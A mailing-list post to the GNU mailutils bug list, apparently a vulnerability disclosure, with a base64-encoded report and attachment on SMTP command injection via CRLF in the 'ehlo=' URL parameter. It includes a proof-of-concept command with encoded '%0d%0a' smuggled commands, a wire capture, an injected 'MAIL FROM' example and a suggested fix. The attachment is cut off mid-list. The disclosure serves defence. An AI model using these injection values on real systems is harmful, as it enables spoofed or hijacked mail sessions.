[security] mailutils smtp: CRLF injection via ehlo= URL parameter (CWE-93), pre-auth
[email protected] Mon, 15 Jun 2026 03:25:55 -0700
| Newsgroups | gmane.comp.gnu.mailutils.bugs |
|---|---|
| Message-ID | <[email protected]> |
--===============7214776627424398608== Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: base64 QWZmZWN0ZWQ6ICBHTlUgbWFpbHV0aWxzIDMuMjEgKGxhdGVzdCByZWxlYXNlKQpGaWxlczogICAg IGxpYnByb3RvL21haWxlci9zbXRwLmM6MjIxLTIyMiAgIChlaGxvPSAtPiBtdV9zbXRwX3NldF9w YXJhbSkKICAgICAgICAgICBsaWJtYWlsdXRpbHMvdXJsL2RlY29kZS5jOjU1ICAgICAgKG11X3N0 cl91cmxfZGVjb2RlX2lubGluZSkKICAgICAgICAgICBsaWJtYWlsdXRpbHMvc3RyaW5nL3hkZWNv ZGUuYzoyOCAgKCVYWCBkZWNvZGVyLCBubyBhbGxvd2xpc3QpCiAgICAgICAgICAgbGlicHJvdG8v bWFpbGVyL3NtdHBfcGFyYW0uYzo3NS04NChtdV9zbXRwX3NldF9wYXJhbSwgYmFyZSBzdHJkdXAp CiAgICAgICAgICAgbGlicHJvdG8vbWFpbGVyL3NtdHBfZWhsby5jOjEwNS0xMDYgKG11X3NtdHBf d3JpdGUgIkVITE8gJXNcclxuIikKICAgICAgICAgICBsaWJwcm90by9tYWlsZXIvc210cF9pby5j OjM1LTQ0ICAgKHdyaXRlID0gbXVfc3RyZWFtX3ZwcmludGYpClNldmVyaXR5OiAgTUVESVVNIOKA lCBTTVRQIGNvbW1hbmQgaW5qZWN0aW9uIG9uIHRoZSBvdXRib3VuZCBjbGllbnQKICAgICAgICAg ICBzZXNzaW9uIChhdHRhY2tlciBtdXN0IGNvbnRyb2wgdGhlIG1haWxlciBVUkwgdmlhIGNvbmZp Zy9DTEk7CiAgICAgICAgICAgaXQgYWJ1c2VzIHRoZSB1c2VyIG9wZXJhdGluZyB0aGUgbWFpbHV0 aWxzIGNsaWVudCkKQ1dFOiAgICAgICBDV0UtOTMgKENSTEYgSW5qZWN0aW9uKSwgQ1dFLTc3IChD b21tYW5kIEluamVjdGlvbikKClJlcG9ydGVyOiAgemhhbmdwaCAoYWZsZGwpLCBpbmRlcGVuZGVu dCBzZWN1cml0eSByZXNlYXJjaGVyCiAgICAgICAgICAgemhhbmdwaDEyMTM4QDE2My5jb20KCj09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT0KMS4gU3VtbWFyeQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09CgpUaGUgTWFpbHV0aWxzIFNNVFAgbWFpbGVyIHdyaXRl cyB0aGUgYGVobG89YCBVUkwgcGFyYW1ldGVyIHZlcmJhdGltCmludG8gdGhlIHdpcmUgY29tbWFu ZCBgRUhMTyA8dmFsdWU+XHJcbmAgd2l0aCBaRVJPIENSL0xGIGZpbHRlcmluZwphbnl3aGVyZSBh bG9uZyB0aGUgcGF0aCBmcm9tIFVSTCBkZWNvZGUgdG8gc3RyZWFtIHdyaXRlLiBVUkwtZGVjb2Rl ZApgJTBkJTBhYCBiZWNvbWVzIGEgcmVhbCBDUkxGLCBzbyBhbiBhdHRhY2tlciB3aG8gY2FuIGlu Zmx1ZW5jZSB0aGUKbWFpbGVyIFVSTCBjYW4gaW5qZWN0IGFyYml0cmFyeSBTTVRQIGNvbW1hbmRz IGFmdGVyIHRoZSBFSExPLgoKRUhMTyBpcyB0aGUgRklSU1QgY29tbWFuZCB0aGUgY2xpZW50IHNl bmRzIGFmdGVyIGNvbm5lY3RpbmcsIHNvIHRoZQppbmplY3Rpb24gaXMgZnVsbHkgcHJlLWF1dGgg YW5kIGxldHMgdGhlIGF0dGFja2VyIHByZXBlbmQgTUFJTCBGUk9NIC8KUkNQVCBUTyAvIERBVEEg LyBTVEFSVFRMUyAvIFJTRVQgLyBRVUlUIGV0Yy4gYXMgaWYgaXNzdWVkIGJ5IHRoZQpsZWdpdGlt YXRlIGNsaWVudC4KClRoZSBzZXZlcml0eSBpcyBNRURJVU0gcmF0aGVyIHRoYW4gaGlnaGVyIGJl Y2F1c2UgdGhpcyBpcyBjbGllbnQtc2lkZToKdGhlIGF0dGFja2VyIG11c3QgY29udHJvbCB0aGUg bWFpbGVyIFVSTCAoQ0xJIGFyZywgLm1haWxyYy9jb25maWcsCm9yIGEgbGlicmFyeSBjb25zdW1l ciB0aGF0IGJ1aWxkcyB0aGUgVVJMIGZyb20gdW50cnVzdGVkIGlucHV0KSwgYW5kCnRoZSBhYnVz ZSBpcyBvZiB0aGUgdXNlciBvcGVyYXRpbmcgdGhlIG1haWx1dGlscyBjbGllbnQsIG5vdCBvZiBh CnJlbW90ZSBsaXN0ZW5lci4KCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT0KMi4gQWZmZWN0ZWQgY29kZSAocmVhbCBjaGFpbiwg emVybyBmaWx0ZXJpbmcpCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT0KCkZyb20gVVJMIHRvIHdpcmUsIGV2ZXJ5IGxpbmsgcGFz c2VzIHRoZSB2YWx1ZSB0aHJvdWdoIHVuY2hhbmdlZDoKCiAgYS4gbGlicHJvdG8vbWFpbGVyL3Nt dHAuYzoyMjEtMjIyIOKAlCB0aGUgZWhsbz0gVVJMIHBhcmFtZXRlciBpcwogICAgIGhhbmRlZCBz dHJhaWdodCB0byBtdV9zbXRwX3NldF9wYXJhbSB3aXRoIG5vIHZhbGlkYXRpb246CgogICAgICAg ICBlbHNlIGlmIChzdHJuY21wKHBhcm12W2ldLCAiZWhsbz0iLCA1KSA9PSAwKQogICAgICAgICAg ICAgbXVfc210cF9zZXRfcGFyYW0oc21wLT5zbXRwLCBNVV9TTVRQX1BBUkFNX0RPTUFJTiwKICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhcm12W2ldICsgNSk7CgogIGIuIGxpYm1haWx1 dGlscy91cmwvZGVjb2RlLmM6NTUg4oCUIFVSTCBwYXJhbWV0ZXJzIGFyZSBkZWNvZGVkIGluCiAg ICAgcGxhY2UgYnkgbXVfc3RyX3VybF9kZWNvZGVfaW5saW5lIChjYWxsZWQgZnJvbSBfdXJsX2Rl Y19wYXJhbSksCiAgICAgd2hpY2ggdHVybnMgJTBkJTBhIGludG8gbGl0ZXJhbCBDUitMRi4KCiAg Yy4gbGlibWFpbHV0aWxzL3N0cmluZy94ZGVjb2RlLmM6Mjgg4oCUIHRoZSB1bmRlcmx5aW5nICVY WCBkZWNvZGVyCiAgICAgaGFzIG5vIGFsbG93bGlzdDsgaXQgZGVjb2RlcyBhbnkgJVhYIHRvIHRo ZSBsaXRlcmFsIGJ5dGUuCgogIGQuIGxpYnByb3RvL21haWxlci9zbXRwX3BhcmFtLmM6NzUtODQg 4oCUIG11X3NtdHBfc2V0X3BhcmFtIGp1c3QKICAgICBzdHJkdXAoKXMgdGhlIHZhbHVlIHdpdGgg bm8gc2FuaXRpemF0aW9uLgoKICBlLiBsaWJwcm90by9tYWlsZXIvc210cF9laGxvLmM6MTA1LTEw NiDigJQgdGhlIHZhbHVlIGlzIGVtaXR0ZWQgd2l0aAogICAgICVzIGludG8gdGhlIHdpcmUgY29t bWFuZDoKCiAgICAgICAgIHN0YXR1cyA9IG11X3NtdHBfd3JpdGUoc210cCwgIkVITE8gJXNcclxu IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc210cC0+cGFyYW1bTVVfU01UUF9Q QVJBTV9ET01BSU5dKTsKCiAgZi4gbGlicHJvdG8vbWFpbGVyL3NtdHBfaW8uYzozNS00NCDigJQg bXVfc210cF93cml0ZSBpcwogICAgIG11X3N0cmVhbV92cHJpbnRmIHdpdGggbm8gZmlsdGVyaW5n LgoKTk9URTogdGhlIG9ubHkgTVVfQ1RZUEVfRU5ETE4gaGFuZGxpbmcgaW4gdGhlIFNNVFAgY29k ZSBpcyBpbgptdV9zbXRwX3Jlc3BvbnNlKCksIHdoaWNoIHBhcnNlcyBJTkJPVU5EIHNlcnZlciBy ZXNwb25zZXMuIFRoZXJlIGlzCm5vIGVxdWl2YWxlbnQgY2hlY2sgb24gT1VUQk9VTkQgY29tbWFu ZHMsIHdoaWNoIGlzIGV4YWN0bHkgdGhlIGdhcC4KCj09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KMy4gVmVyaWZpZWQgcmVwcm9k dWN0aW9uIChyZWFsIGBtYWlsYCBiaW5hcnksIHJlYWwgeHhkKQo9PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgpWZXJpZmllZCBh Z2FpbnN0IHRoZSByZWFsIHJlYnVpbHQgYmluYXJ5CnVudGVzdGVkLXRhcmdldHMvbWFpbHV0aWxz LTMuMjEvbWFpbC8ubGlicy9tYWlsIChNYWlsdXRpbHMgMy4yMSkKcG9pbnRlZCBhdCBhIGxvY2Fs IGNhcHR1cmUgc2VydmVyIChuYyBsaXN0ZW5lcikuCgpUcmlnZ2VyIGNvbW1hbmQgKHRoZSBpbmpl Y3RlZCBzZWNvbmQgY29tbWFuZCBpcyBSU0VUKToKCiAgICBtYWlsIC0tbWFpbGVyPSdzbXRwOi8v MTI3LjAuMC4xOlBPUlQ7ZWhsbz1mb28lMGQlMGFSU0VUIGluamVjdGVkLWJ5LWVobG8tcGFyYW0l MGQlMGFYLScgXAogICAgICAgICAtcyB0ZXN0IG5vYm9keSA8IC9kZXYvbnVsbAoKQ2FwdHVyZSAr IGhleGR1bXAgb2YgdGhlIGxpbmUgdGhlIGNsaWVudCBhY3R1YWxseSBwdXQgb24gdGhlIHdpcmU6 CgogICAgJCB4eGQgL3RtcC9jYXB0dXJlIHwgc2VkIC1uICcxLDRwJwogICAgMDAwMDAwMDA6IDQ1 NDggNGM0ZiAyMDY2IDZmNmYgMGQwYSA1MjUzIDQ1NTQgMjA2OSAgRUhMTyBmb28uLlJTRVQgaQog ICAgMDAwMDAwMTA6IDZlNmEgNjU2MyA3NDY1IDY0MmQgNjI3OSAyZDY1IDY4NmMgNmYyZCAgbmpl Y3RlZC1ieS1laGxvLQogICAgMDAwMDAwMjA6IDcwNjEgNzI2MSA2ZDBkIDBhNTggMmQwZCAwYSAg ICAgICAgICAgICAgcGFyYW0uLlgtLi4KClRoZSBgMGQgMGFgIGJ5dGVzIChjaXJjbGVkKSBhcmUg UkVBTCBDUitMRi4gVGhlIHNlcnZlciB0aGVyZWZvcmUKc2VlcyBUV08gc2VwYXJhdGUgU01UUCBj b21tYW5kcyBvbiB0aGUgd2lyZToKCiAgICBFSExPIGZvb1xyXG4KICAgIFJTRVQgaW5qZWN0ZWQt YnktZWhsby1wYXJhbVxyXG4KICAgIFgtXHJcbgoKc28gdGhlIFJTRVQgaXMgcGFyc2VkIGFzIGEg ZGlzdGluY3QsIGZ1bGx5LWZvcm1lZCBjb21tYW5kIOKAlCB0aGUKaW5qZWN0aW9uIHByaW1pdGl2 ZSBpcyBjb25maXJtZWQuCgpCYXNlbGluZSAoY29udHJvbCkgd2l0aCBhIGJlbmlnbiBlaGxvIHZh bHVlOgoKICAgIG1haWwgLS1tYWlsZXI9J3NtdHA6Ly8xMjcuMC4wLjE6UE9SVDtlaGxvPWxlZ2l0 LmV4YW1wbGUuY29tJyAuLi4KCnByb2R1Y2VzIGV4YWN0bHkgb25lIGNvcnJlY3RseS1mb3JtZWQg Y29tbWFuZDoKCiAgICAwMDAwMDAwMDogNDU0OCA0YzRmIDIwNmMgNjU2NyA2OTc0IDJlNjUgNzg2 MSA2ZDcwICBFSExPIGxlZ2l0LmV4YW1wCiAgICAwMDAwMDAxMDogNmM2NSAyZTYzIDZmNmQgMGQw YSAgICAgICAgICAgICAgICAgICAgICBsZS5jb20uLgoKPT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQo0LiBSZWFjaGFiaWxpdHkg LyBhdHRhY2sgbW9kZWwKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PQoKICAtIE5ldHdvcms6IG91dGJvdW5kIFRDUCB0byB0aGUg U01UUCBzZXJ2ZXIgKDI1LzQ2NS81ODcpOyB0aGUKICAgIGluamVjdGlvbiBsYW5kcyBvbiB0aGUg bGVnaXRpbWF0ZSB1c2VyJ3Mgb3duIGNsaWVudCBzZXNzaW9uLgogIC0gVGhlIGF0dGFja2VyIG11 c3QgY29udHJvbCBzb21lIHBvcnRpb24gb2YgdGhlIG1haWxlciBVUkwuIFJlYWxpc3RpYwogICAg ZW50cnkgcG9pbnRzOiBDTEkgYC0tbWFpbGVyYCwgfi8ubWFpbHJjIGBzZXQgbWFpbGVyPWAsIGEg bGlicmFyeQogICAgY29uc3VtZXIgdGhhdCBidWlsZHMgdGhlIFVSTCBmcm9tIHVudHJ1c3RlZCBp bnB1dCAoZS5nLiBhIHdlYiBmb3JtKSwKICAgIG9yIGEgc2lldmUgYHJlZGlyZWN0YCB0aGF0IGlu dGVycG9sYXRlcyBtZXNzYWdlIGRhdGEuCiAgLSBTaWJsaW5nIHZlY3RvcnMgd29ydGggY2hlY2tp bmcgd2l0aCB0aGUgc2FtZSBmaXg6IHRoZSBgYXV0aD1gIGFuZAogICAgYGRvbWFpbj1gIFVSTCBw YXJhbWV0ZXJzIGZsb3cgdGhyb3VnaCB0aGUgc2FtZSBzZXRfcGFyYW0gcGF0aCBhbmQKICAgIGFy ZSBub3Qgc2FuaXRpemVkIGVpdGhlci4KCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KNS4gTm90IGZpeGVkIGluIGxhdGVzdCBj b2RlCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT0KCiAgLSBMYXRlc3QgcmVsZWFzZSBpcyAzLjIxOyB0aGUgY2hhaW4gYWJvdmUg aXMgcHJlc2VudCBpbiBpdC4KICAtIE1haWx1dGlscyBpcyBOT1QgY292ZXJlZCBieSBPU1MtRnV6 ei4KCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT0KNi4gU3VnZ2VzdGVkIGZpeAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgogIC0gUHJpbWFyeTogaW4gbGli cHJvdG8vbWFpbGVyL3NtdHAuYzoyMjEsIHZhbGlkYXRlIHRoYXQgdGhlIGBlaGxvPWAKICAgIHZh bHVlIGNvbnRhaW5zIG5vIENSL0xGIGJlZm9yZSBjYWxsaW5nIG11X3NtdHBfc2V0X3BhcmFtIChy ZWplY3QKICAgIG9yIHN0cmlwIHRoZSB2YWx1ZSkuCiAgLSBTdHJvbmdlcjogZmlsdGVyIENSL0xG IChhbmQgb3RoZXIgY29udHJvbCBieXRlcykgaW5zaWRlCiAgICBtdV9zbXRwX3NldF9wYXJhbSBh bmQvb3IgbXVfc210cF93cml0ZSBzbyB0aGUgc2FtZSBidWcgY2xhc3MgaW4KICAgIGBkb21haW49 YCwgYGF1dGg9YCwgYW5kIHRoZSBNQUlMIEZST00gLyBSQ1BUIFRPIGAlc2AgZm9ybWF0cyBpcwog ICAgY2xvc2VkIGluIG9uZSBwbGFjZS4KCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KNy4gRGlzY2xvc3VyZQo9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgpS ZXBvcnRlZCAyMDI2LTA2LTE1LiBObyBwcmlvciBwdWJsaWMgZGlzY2xvc3VyZS4KCj09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0K OC4gQ3JlZGl0cwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09Cgp6aGFuZ3BoIChhZmxkbCksIGluZGVwZW5kZW50IHNlY3VyaXR5 IHJlc2VhcmNoZXIuCg== --===============7214776627424398608== Content-Type: text/markdown; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="mailutils-smtp-ehlo-injection.md" IyBHTlUgTWFpbHV0aWxzIDMuMjEgU01UUCBgZWhsbz1gIFVSTCBQYXJhbWV0ZXIg4oCUIFNNVFAg Q29tbWFuZCBJbmplY3Rpb24g4oCUIFBvQwoKKipUYXJnZXQqKjogR05VIE1haWx1dGlscyAzLjIx IChsYXRlc3Qgc3RhYmxlLCAyMDI1LTEyLTExKQoqKkZpbGUqKjogYGxpYnByb3RvL21haWxlci9z bXRwLmM6MjIxLTIyMmAgKyBgbGlicHJvdG8vbWFpbGVyL3NtdHBfZWhsby5jOjEwNS0xMDZgCioq U2V2ZXJpdHkqKjogKipNRURJVU0qKiDigJQgU01UUCBjb21tYW5kIGluamVjdGlvbiBvbiB0aGUg T1VUQk9VTkQgY2xpZW50CnNlc3Npb24gKGNsaWVudC1zaWRlOiBhdHRhY2tlciBtdXN0IGNvbnRy b2wgdGhlIG1haWxlciBVUkwgdmlhCmNvbmZpZy9DTEkvbGlicmFyeS1jb25zdW1lcjsgaXQgYWJ1 c2VzIHRoZSB1c2VyIG9wZXJhdGluZyB0aGUgbWFpbHV0aWxzCmNsaWVudCwgbm90IGEgcmVtb3Rl IGxpc3RlbmVyKS4gVGhlIGluamVjdGlvbiBpcyBmdWxsIGFuZCBwcmUtYXV0aAooRUhMTyBpcyB0 aGUgZmlyc3QgY29tbWFuZCkuCioqQ1dFKio6IENXRS05MyAoQ1JMRiBJbmplY3Rpb24pLCBDV0Ut NzcgKENvbW1hbmQgSW5qZWN0aW9uKQoqKlN0YXR1cyoqOiBCdWcgY29uZmlybWVkIGluICoqbGF0 ZXN0IHJlbGVhc2VkKiogMy4yMSB0YXJiYWxsCioqT1NTLUZ1enogY292ZXJhZ2UqKjogTWFpbHV0 aWxzIGlzICoqTk9UKiogaW4gT1NTLUZ1enoKCiMjIFN1bW1hcnkKClRoZSBNYWlsdXRpbHMgU01U UCBtYWlsZXIgKGBsaWJwcm90by9tYWlsZXIvYCkgYWNjZXB0cyBhbiBgZWhsbz08dmFsdWU+YApV UkwgcGFyYW1ldGVyIChhbmQgZXF1aXZhbGVudCBgbXVfc210cF9zZXRfcGFyYW0oTVVfU01UUF9Q QVJBTV9ET01BSU4sIC4uLilgCnByb2dyYW1tYXRpYyBBUEkpLiBUaGUgdmFsdWUgaXMgd3JpdHRl biB2ZXJiYXRpbSBpbnRvIHRoZSBTTVRQIHdpcmUKY29tbWFuZCBhcyBgRUhMTyA8dmFsdWU+XHJc bmAgdmlhCmBtdV9zbXRwX3dyaXRlIChzbXRwLCAiRUhMTyAlc1xyXG4iLCBzbXRwLT5wYXJhbVtN VV9TTVRQX1BBUkFNX0RPTUFJTl0pYAphdCBgc210cF9laGxvLmM6MTA1LTEwNmAuICoqVGhlcmUg aXMgbm8gdmFsaWRhdGlvbiB0aGF0IGA8dmFsdWU+YCBkb2VzCm5vdCBjb250YWluIGBccmAgb3Ig YFxuYCoqLCBhbmQgdGhlcmUgaXMgbm8gbGVuZ3RoIGNhcC4gVVJMIHBhcmFtZXRlcnMKYXJlIFVS TC1kZWNvZGVkIGluIHBsYWNlIChgbXVfc3RyX3VybF9kZWNvZGVfaW5saW5lYCksIHNvIGEgVVJM LWVuY29kZWQKYCUwZCUwYWAgaW4gYGVobG89YCBiZWNvbWVzIGEgcmVhbCBDUkxGIG9uIHRoZSB3 aXJlLgoKVGhpcyBpcyBhIGNvbXBsZXRlIFNNVFAgY29tbWFuZC1pbmplY3Rpb24gcHJpbWl0aXZl OiBhbiBhdHRhY2tlciB3aG8KY29udHJvbHMgdGhlIG1haWxlciBVUkwgKG9yIGFueSBjb2RlIHBh dGggdGhhdCBjb25zdHJ1Y3RzIGl0KSBjYW4KaW5qZWN0IGFyYml0cmFyeSBTTVRQIGNvbW1hbmRz IGFmdGVyIHRoZSBFSExPIGNvbW1hbmQuIFdpdGggdGhlIHNhbWUKRUhMTy1sZXNzIGZhbGxiYWNr IChgSEVMT2AgaXMgc2VudCB3aGVuIEVITE8gZ2V0cyBhIGA0eHhgIHJlcGx5KSwgdGhlCmF0dGFj a2VyIGNhbiBhbHNvIGluamVjdCBhZnRlciBIRUxPLiBUaGUgbW9zdCBjb21tb24gd2F5IHRvIHJl YWNoCnRoaXMgaXMgdmlhIHRoZSBVUkwgZm9ybQpgc210cDovL3VzZXI6cGFzc0BzZXJ2ZXI7ZWhs bz1mb28lMGQlMGFNQUlMJTIwRlJPTSUzQSUzQ2F0dGFja2VyJTQwZXZpbCUzRWAsCndoaWNoIG1h aWx1dGlscyBlbWJlZHMgaW4gbWFueSB0b29scyAobWFpbCwgc2VuZG1haWwsIHNpZXZlKS4KCiMj IEFmZmVjdGVkIENvZGUKCioqYGxpYnByb3RvL21haWxlci9zbXRwLmM6MjIxLTIyMmAqKiDigJQg VVJMIHBhcmFtZXRlciBoYW5kbGluZyAobm8Kc2FuaXRpemF0aW9uLCBubyBsZW5ndGggY2FwKToK CmBgYGMKZWxzZSBpZiAoc3RybmNtcCAocGFybXZbaV0sICJlaGxvPSIsIDUpID09IDApCiAgICBt dV9zbXRwX3NldF9wYXJhbSAoc21wLT5zbXRwLCBNVV9TTVRQX1BBUkFNX0RPTUFJTiwgcGFybXZb aV0gKyA1KTsKYGBgCgoqKmBsaWJwcm90by9tYWlsZXIvc210cF9laGxvLmM6MTA1LTEwNmAqKiDi gJQgd2lyZSB3cml0ZSAodXNlcwpgJXNgIGZvcm1hdCB3aXRoIGF0dGFja2VyLWNvbnRyb2xsZWQg c3RyaW5nKToKCmBgYGMKc3RhdHVzID0gbXVfc210cF93cml0ZSAoc210cCwgIkVITE8gJXNcclxu IiwKICAgICAgICAgICAgICAgICAgICAgICAgc210cC0+cGFyYW1bTVVfU01UUF9QQVJBTV9ET01B SU5dKTsKYGBgCgoqKmBsaWJwcm90by9tYWlsZXIvc210cF9laGxvLmM6MTIxLTEyMmAqKiDigJQg c2FtZSBpc3N1ZSBmb3IgdGhlIEhFTE8KZmFsbGJhY2sgKHVzZWQgd2hlbiBFSExPIGlzIHJlamVj dGVkKToKCmBgYGMKc3RhdHVzID0gbXVfc210cF93cml0ZSAoc210cCwgIkhFTE8gJXNcclxuIiwK ICAgICAgICAgICAgICAgICAgICAgICAgc210cC0+cGFyYW1bTVVfU01UUF9QQVJBTV9ET01BSU5d KTsKYGBgCgoqKmBsaWJtYWlsdXRpbHMvdXJsL2RlY29kZS5jOjUwLTU3YCoqIOKAlCBVUkwgcGFy YW1ldGVycyBhcmUgZGVjb2RlZCBpbgpwbGFjZSB2aWEgYG11X3N0cl91cmxfZGVjb2RlX2lubGlu ZWAsIHdoaWNoIGNvbnZlcnRzIGAlMGQlMGFgIOKGkiBgXHJcbmA6CgpgYGBjCnN0YXRpYyBpbnQg X3VybF9kZWNfcGFyYW0gKG11X3VybF90IHVybCwgc2l6ZV90IG9mZikKewogIGludCBpOwogIGZv ciAoaSA9IDA7IGkgPCB1cmwtPmZ2Y291bnQ7IGkrKykKICAgIG11X3N0cl91cmxfZGVjb2RlX2lu bGluZSAodXJsLT5mdnBhaXJzW2ldKTsKICByZXR1cm4gMDsKfQpgYGAKCioqYGxpYm1haWx1dGls cy9zdHJpbmcveGRlY29kZS5jOjI4LTYxYCoqIOKAlCBhY3R1YWwgYCVYWGAgZGVjb2RlciAobm8K YWxsb3dsaXN0OyBkZWNvZGVzIHRvIGxpdGVyYWwgYnl0ZXMpOgoKYGBgYwp2b2lkIG11X3N0cl91 cmxfZGVjb2RlX2lubGluZSAoY2hhciAqcykKewogIC4uLgogIG11X2hleHN0cjJ1bCAoJnVsLCBz LCAyKTsKICBzICs9IDI7CiAgKmQrKyA9IChjaGFyKSB1bDsKICAuLi4KfQpgYGAKCioqYGxpYnBy b3RvL21haWxlci9zbXRwX21haWwuYzo0NGAqKiDigJQgc2FtZSBwcmltaXRpdmUgYWxzbyBhZmZl Y3RzCmBNQUlMIEZST01gIChkZXNjcmliZWQgc2VwYXJhdGVseSBpbiBgbWFpbHV0aWxzLXNtdHAt bWFpbC1yY3B0LWluamVjdGlvbi5tZGApOgoKYGBgYwpzdGF0dXMgPSBtdV9zbXRwX3dyaXRlIChz bXRwLCAiTUFJTCBGUk9NOjwlcz4iLCBlbWFpbCk7CmBgYAoKKipgbGlicHJvdG8vbWFpbGVyL3Nt dHBfcmNwdC5jOjQzYCoqIOKAlCBzYW1lIGZvciBgUkNQVCBUT2A6CgpgYGBjCnN0YXR1cyA9IG11 X3NtdHBfd3JpdGUgKHNtdHAsICJSQ1BUIFRPOjwlcz4iLCBlbWFpbCk7CmBgYAoKIyMgV2h5IEl0 J3MgYSBCdWcKClRoZSBFSExPL0hFTE8gY29tbWFuZCBpcyB0aGUgZmlyc3QgU01UUCBjb21tYW5k IHNlbnQgYnkgYSBjbGllbnQgYWZ0ZXIKY29ubmVjdGluZy4gQW55dGhpbmcgaW5qZWN0ZWQgYWZ0 ZXIgaXQgaXMgcHJvY2Vzc2VkIGJ5IHRoZSBzZXJ2ZXIKKipiZWZvcmUqKiB0aGUgTUFJTCBGUk9N L1JDUFQgVE8gc3RhdGUgbWFjaGluZSBzdGFydHMsIHNvIHRoZSBhdHRhY2tlcgpjYW4gcHJlcGVu ZCBNQUlMIEZST00sIFJDUFQgVE8sIERBVEEsIGV0Yy4gYXMgaWYgdGhleSB3ZXJlIGlzc3VlZCBi eQp0aGUgbGVnaXRpbWF0ZSBjbGllbnQuIFRoZSBNYWlsdXRpbHMgU01UUCBjbGllbnQgdHJlYXRz IHRoZSBTTVRQCnNlc3Npb24gYXMgYSBvbmUtc2hvdCByZXF1ZXN0IOKGkiByZXNwb25zZSBsb29w IGFuZCBkb2VzIG5vdCBjaGVjayB0aGF0CnRoZSBzZXJ2ZXIncyByZXNwb25zZSBtYXRjaGVzIHdo YXQgd2FzIGV4cGVjdGVkOyBpbiBwYXJ0aWN1bGFyIGl0CmRvZXMgbm90IGVuZm9yY2UgdGhhdCBg bXVfc210cF9laGxvYCByZXR1cm5zIG9ubHkgYWZ0ZXIgdGhlIHNlcnZlcgphY2tub3dsZWRnZXMg RUhMTy9IRUxPIGFuZCBub3QgYWZ0ZXIgdGhlIGluamVjdGVkIGNvbW1hbmRzLgoKVGhlIGBlaGxv PWAgcGFyYW1ldGVyIGlzIGFsc28gc2V0IHZpYSB0aGUgcHJvZ3JhbW1hdGljIEFQSQpgbXVfc210 cF9zZXRfcGFyYW0oc210cCwgTVVfU01UUF9QQVJBTV9ET01BSU4sIHZhbHVlKWAsIHNvIGFueQph cHBsaWNhdGlvbiBlbWJlZGRpbmcgTWFpbHV0aWxzIChlLmcuIHRoZSBgbWFpbGAgYW5kIGBzZW5k bWFpbGAgQ0xJcywKdGhlIGBtdSBzbXRwYCBpbnRlcmFjdGl2ZSBkZWJ1Z2dlciwgdGhlIGBzaWV2 ZWAgYWN0aW9uIGByZWRpcmVjdGAsCm9yIGFueSBwcm9ncmFtIHVzaW5nIGBtdV9tYWlsZXJfc2Vu ZF9tZXNzYWdlKClgIHdpdGggYSBNYWlsZXIgVVJMKQpiZWNvbWVzIGEgcG90ZW50aWFsIGluamVj dGlvbiBwb2ludC4KCiMjIFJlYWNoYWJpbGl0eQoKKiAqKk5ldHdvcmstcmVhY2hhYmxlIG9uIFRD UC8yNSwgNDY1IChTTVRQUyksIDU4NyAoc3VibWlzc2lvbikuKioKKiAqKlJlYWNoYWJpbGl0eSBj b25kaXRpb25zKio6IFRoZSBhdHRhY2tlciBtdXN0IGNvbnRyb2wgKnNvbWUqIHBhcnQKICBvZiB0 aGUgU01UUCBtYWlsZXIgVVJMLiBDb21tb24gZW50cnkgcG9pbnRzOgogIDEuICoqQ0xJIGludm9j YXRpb24qKiDigJQgYG1haWwgLS1tYWlsZXIgJ3NtdHA6Ly8uLi4/ZWhsbz0uLi4nYAogICAgIChN YWlsdXRpbHMgYG1haWxgLCBgc2VuZG1haWxgKS4KICAyLiAqKmAubWFpbHJjYCBjb25maWcqKiDi gJQgdXNlci1pbnN0YWxsZWQgY29uZmlnIGZpbGUgdGhhdCBzZXRzIHRoZQogICAgIGRlZmF1bHQg bWFpbGVyLgogIDMuICoqTGlicmFyeSBjb25zdW1lcioqIOKAlCBhbnkgcHJvZ3JhbSB0aGF0IGJ1 aWxkcyB0aGUgVVJMIGZyb20KICAgICB1bnRydXN0ZWQgaW5wdXQgKGUuZy4gYSB3ZWIgZm9ybSB0 byAic2VuZCB0aGlzIHRvIG15IGVtYWlsIikuCiAgNC4gKipgc2lldmUgcmVkaXJlY3RgKiog4oCU IGEgc2lldmUgYWN0aW9uIHRoYXQgY29uc3RydWN0cyB0aGUKICAgICBtYWlsZXIgVVJMIGZyb20g bWVzc2FnZSBoZWFkZXJzIChlLmcuIGByZWRpcmVjdCAic210cDovLy4uLiRoX0Zyb20iYCkuCiAg 